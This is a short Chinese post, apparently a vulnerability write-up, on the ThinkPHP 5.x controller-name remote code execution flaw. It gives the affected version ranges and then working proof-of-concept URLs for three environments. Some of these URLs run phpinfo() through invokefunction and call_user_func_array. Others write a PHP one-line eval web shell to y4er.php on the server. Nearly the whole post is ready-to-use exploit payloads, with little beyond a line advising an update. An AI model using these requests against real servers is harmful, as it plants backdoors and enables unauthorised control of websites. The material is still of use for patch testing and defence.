12月9日thinkphp官方发布安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.05.1版本,推荐尽快更新到最新版本。

影响范围

5.x < 5.1.31

5.x < 5.0.23

PoC

win+thinkphp5.1.24

执行phpinfo(),要求php版本>=7.0

1
/index.php/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

写shell

1
/index.php/?s=index/\think\template\driver\file/write&cacheFile=y4er.php&content=<?php @eval($_POST[x]);?>

http://127.0.0.1/public/y4er.php x

debian+thinkphp5.1.30

执行phpinfo(),要求php版本>=7.0

1
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

写一句话木马

1
/index.php/?s=index/\think\template\driver\file/write&cacheFile=y4er.php&content=<?php @eval($_POST[x]);?>

win+thinkphp5.0.16

执行phpinfo(),要求php版本>=7.0

1
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

写一句话木马

1
/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=y4er.php&vars[1][]=<?php @eval($_POST[x]);?>